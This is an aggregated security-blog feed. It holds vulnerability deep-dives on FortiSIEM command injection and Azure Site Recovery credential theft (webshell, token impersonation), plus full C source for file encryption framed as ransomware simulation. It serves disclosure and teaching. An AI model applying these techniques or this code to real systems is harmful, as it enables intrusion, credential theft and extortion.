Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

 

 

💾

Malware Development For Ethical Hackers. First edition

20 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I’m pleased to announce that my book Malware Development For Ethical Hackers is available for pre-order on Amazon.

I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.

I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.

book

If you want to learn more about any area of science or technology, you will have to do your own research and work. There isn’t a single book that will answer all of your questions about the things that interest you.

I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.

I thank the entire team at Packt without whom this book would look different.

I also want to thank all the employees of the Butterfly Effect Company and MSSP Research Lab.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

Malware Development For Ethical Hackers
Twitter post
Linkedin post

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

CVE-2023-34992: Fortinet FortiSIEM Command Injection Deep-Dive

20 May 2024 at 11:44

In early 2023, given some early success in auditing Fortinet appliances, I continued the effort and landed upon the Fortinet FortiSIEM. Several issues were discovered during this audit that ultimately lead to unauthenticated remote code execution in the context of the root user. The vulnerabilities were assigned CVE-2023-34992 with a CVSS3.0 score of 10.0 given that the access allowed reading of secrets for integrated systems, allowing for pivoting into those systems.

FortiSIEM Overview

The FortiSIEM allows customers to do many of the expected functions of a typical SIEM solution such as log collection, correlation, automated response, and remediation. It also allows for simple and complex deployments ranging from a standalone appliance to scaled out solutions for enterprises and MSPs.

Figure 1. Example Deployment

In a FortiSIEM deployment, there are four types of roles that a system can have:
● Supervisor – for smaller deployments this is all that’s needed, and supervises other roles
● Worker – handles all the data coming from Collectors in larger environments
● Collector – used to scale data collection from various geographically separated network
environments, potentially behind firewalls
● Manager – can be used to monitor and manage multiple FortiSIEM instances

For the purposes of this research, I deployed an all-in-one architecture where the appliance contains all of the functionality within the Supervisor role. For more information about FortiSIEM key concepts refer to the documentation.

Exploring the System

One of the first things we do when auditing an appliance is to inspect the listening services given you have some time of shell access. Starting with the most obvious service, the web service, we see that it listens of tcp/443 and the proxy configuration routes traffic to an internal service listening on tcp/8080.

Figure 2. httpd.conf proxying traffic

Figure 3. Backend webserver

We find that the backend web service is deployed via Glassfish, a Java framework similar to Tomcat in that it provides a simple way to deploy Java applications as WAR files. We find the WAR file that backs the service, unpack it, and decompile it. Inspecting some of the unauthenticated attack surface, we happen upon the LicenseUploadServlet.class.

Figure 4. LicenseUploadServlet doPost method

We follow the code into this.notify(), where we eventually observe it calling sendCommand(), which interestingly sends a custom binary message with our input to the port tcp/7900.

Figure 5. sendCommand()

We find that tcp/7900 hosts the phMonitor service, which listens on all interfaces, not just localhost.

Figure 6. phMonitor on tcp/7900

And it is also a compiled C++ binary.

Building a Client

Now that we’ve identified a pretty interesting attack surface, let’s build a client to interact with it in the same way the web service does. The message format is a pretty simple combination of:

  1. Command Type – The integer enum mapped to specific function handlers inside the phMonitor service
  2. Payload Length – The length of the payload in the message
  3. Send ID – An arbitrary integer value passed in the message
  4. Sequence ID – The sequence number of this message
  5. Payload – The specific data the function handler within phMonitor will operate on

Constructing the LicenseUpload message in little-endian format and sending it over an SSL wrapped socket will succeed in communicating with the service. Re-implementing the client messaging protocol in Python looks like the following:

Figure 7. phMonitor Python client

As a test that the client works, we send a command type of 29, mapped to handleProvisionServer, and can observe in the logs located at /opt/phoenix/log/phoenix.log that the message was delivered.

Figure 8. phMonitor client successful message sent

phMonitor Internals

The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.

Inside phMonitor, at the function phMonitorProcess::initEventHandler(), every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler(), exposing much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more.

Figure 9. Sampling of handlers exposed

Finding a Bug

Given the vast amount of attack surface available unauthenticated within the phMonitor service, we begin with the easiest vulnerability classes. Tracing the calls between these handlers and calls to system() we land of the handler handleStorageRequest(), mapped to command type 81. On line 201, the handler expects the payload to be XML data and parses it.

Figure 10. handleStorageRequest() expecting XML payload

Later, we see that it attempts to extract the server_ip and mount_point values from the XML payload.

Figure 11. XML payload format

Further down on line 511, the handler formats a string with the parsed server_ip and mount_point values, which are user controlled.

Figure 12. Format string with user-controlled data

Finally, on line 556, the handler calls do_system_cancellable(), which is a wrapper for system(), with the user controlled command string.

Figure 13. do_system_cancellable command injection

Exploiting this issue is straightforward, we construct an XML payload that contains a malicious string to be interpreted, such as a reverse shell.

Figure 14. Reverse shell as root

Our proof of concept exploit can be found on our GitHub.

Indicators of Compromise

The logs in /opt/phoenix/logs/phoenix.logs verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:

Figure 15. phoenix.logs contain payload contents

Timeline

5 May 2023 – Initial report

10 October 2023 – Command injection vulnerability fixed

22 February 2024 – RingZer0 BOOTSTRAP conference talk disclosing some of these details

20 May 2024 – This blog

NodeZero

Figure 16. NodeZero exploiting CVE-2023-34992 to load a remote access tool for post-exploitation activities

Figure 17. NodeZero identifying files of interest and extracting keys and credentials for lateral movement

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

The post CVE-2023-34992: Fortinet FortiSIEM Command Injection Deep-Dive appeared first on Horizon3.ai.

Outpace Emerging Cyber Threats with Horizon3.ai Rapid Response

By: Brad Hong
16 May 2024 at 15:23

In this webinar. Horizon3.ai cybersecurity expert Brad Hong covers our new Rapid Response service, including:

– How this service enables you to preemptively defend against high-profile threats
– How our Attack Team develops its tailored threat intelligence for NodeZero users
– Best practices for monitoring the progress of nascent threats and getting ahead of mass exploitation

The post Outpace Emerging Cyber Threats with Horizon3.ai Rapid Response appeared first on Horizon3.ai.

MGM Grand breach: How attackers got in and what it means for security | Guest Aaron Painter

By: Infosec
13 May 2024 at 18:00

Today on Cyber Work, we’re talking about last September’s breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating “security questions” approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts! 

This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!

0:00 - A new method of online verification
3:15 - First getting into cybersecurity and computers
7:03 - Aaron Painter's work experiences 
10:37 - Learning cybersecurity around the world
11:32 - Starting Nametag
16:25 - Average work week as Nametag CEO
19:10 - Cybersecurity learning methods
21:15 - The MGM cyberattack explained
26:07 - MGM fail safes bad actors surpassed 
29:26 - Security awareness training 
31:35 - Are data breaches the new normal
34:05 - How Nametag safeguards online data
37:59 - AI deepfakes 
40:19 - Using Nametag
42:20 - How to learn AI deep fake defense
44:14 - Design choices in digital identity 
45:54 - Different backgrounds in cybersecurity 
46:59 - Aaron Painter's favorite part of his work
48:01 - Best cybersecurity career advice
49:00 - Learn more about Nametag
50:06 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

This Cloud is on Fire! Microsoft Azure Site Recovery EoP

Discovering and Exploiting CVE-2024–21364

Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge I’ve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems they’ve encountered on customer networks, long after the engagement is over… or in this case during an engagement.

Typically on a penetration test a tester's “spidey senses” will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.

Our customers ASR configuration

While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access to it.

Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to the cloud.

SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to Azure sites.

Basically, Microsoft said, “We will support anything other than AWS or GCP!”

As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.

Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this case EoP).

We started by reviewing features, capabilities, and processes in Azure SRM and found that:

  • the SRM process and config server runs a web server listening for replication events to the backup server on port 9443
  • Process server must have permission to read all properties from all systems being backed up
  • Process server must have the ability to read/write to Azure for synchronization, and deployment of agent
  • SRM server connects to clients via WMI/ credentials stored in the DB
  • This WMI connection deploys the SRM mobility agent responsible for the agent to server comms.

Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.

Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug we found.

The configuration file is readable by any local user account on the SRM server

The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database as root.

Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attack target.

The Azure SRM credentials are stored AES encrypted in the database. The encryption key is not readable by a user.

We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standard user.

After some research and failed attempts, we found a Solution!

If the process responsible for handling the php / mysql queries has access to the key, we must become the process.

php-cgi reading the encryption.key

As our standard user account on the server, we don’t have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the web server.

Further research allowed us to find a directory on the server where the web server / php code isn’t properly secured. We can write a webshell to this directory and “become” the web server process.

  • The web services are running as IUSR which DOES have the SeImpersonatePrivilege
Spawning a beacon as the IUSR user from our web shell

We then can use SEImpersonatePrivilege to read the encryption.key

Impersonating the user we want to access the encryption.key

The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.

After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024–21364 with a patch becoming available several months later.

Malware and cryptography 27: encrypt/decrypt files via A5/1. Simple C/C++ example.

12 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

cryptography

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

cryptography

cryptography

Then just run our application on Windows 11 x64 machine:

.\hack.exe

cryptography

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

cryptography

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Kelvin Security and Spectre, investigating possible relationships

By: cti
10 May 2024 at 08:00
Reading Time: 17 minutes Kelvin Security and Spectre, investigating possible relationships Introduction The Yarix Cyber Threat Intelligence Team (YCTI) has conducted an investigation that has discovered a possible relationship between the threat actor Kelvin Security with another threat actor called Spectre. This relations was identified through the discovery and analysis of an indicator found within an Italian governmental leak […]

Advancing Emergency Response Security with Autonomous Pentesting

9 May 2024 at 16:07

Strengthening PSAP Defenses in an Evolving Threat Landscape

